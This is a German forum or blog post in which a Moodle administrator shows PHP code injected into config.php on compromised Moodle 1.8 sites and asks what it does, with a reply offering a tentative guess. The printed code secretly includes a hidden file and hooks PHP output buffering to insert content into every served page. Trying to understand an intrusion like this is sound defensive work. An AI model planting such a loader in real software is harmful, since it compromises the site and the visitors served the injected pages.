Moodlehack – kann das jemand decodieren?
Frühere Versionen von Moodle, insbesondere die 1.8er-Reihe bekamen des Öfteren Besuch (neuere 1.8er-Versionen,. z.B. 1.8.9 sind gefixt), wobei dieser Code in die config.php eingeschleust wurde (hier unvollständig dargestellt – hier Volltext):
if(function_exists(‚ob_start‘)&&!isset($GLOBALS[’sh_no‘])){$GLOBALS[’sh_no‘]=1;if(file_exists(‚/path/to/moodle/lang/be/help/resource/type/mdl_utf.php‘)){include_once(‚/home/www/web10/html/moodle/lang/be/help/resource/type/mdl_utf.php‘);if(function_exists(‚gml‘)&&!function_exists(‚dgobh‘)){if(!function_exists(‚gzdecode‘)){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack(‚v‘,substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header(‚Content-Encoding: none‘);$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match(‚/\<body/si‘,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(‚/(\<body[^\>]*\>)/si‘,‘$1‘.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(‚dgobh‘);}}}
Der Code ist schonmal so mies, dass das Moodlesystem nach dem Einschleusen teilweise nicht mehr funktioniert und so der Hack schnell erkannt ist. Mich würde interessieren, was der Code genau bezwecken soll, damit man etwas über die Motivation des „Angreifers“ erfährt. Will er nur spammen? Will er Daten klauen? Ist die Datenbank nach einem erfolgreichen Hack noch zu gebrauchen? Auf jeden Fall wird auf die imap- und mcrypt-Funktionalität von PHP zurückgegriffen…
So richtig schlau werde ich aus dem Code auch nicht. Aber ich habe diesen auch überflogen. Dennoch gehe ich davon aus, dass dieser eher als Angriff gesehen werden kann, denn zunächst werden bestimmte Funktionen gefragt (besonders gzdecode spielt eine entscheidende Rolle zum Entpacken eines Strings) und wenn diese existieren, wird nach dem etwas kryptischen String gesucht und über den Befehl strpos näher untersucht. Über include_once und return schätze ich soll etwas Neues eingefügt werden.
Aber wie gesagt: ich habe dies nur überflogen.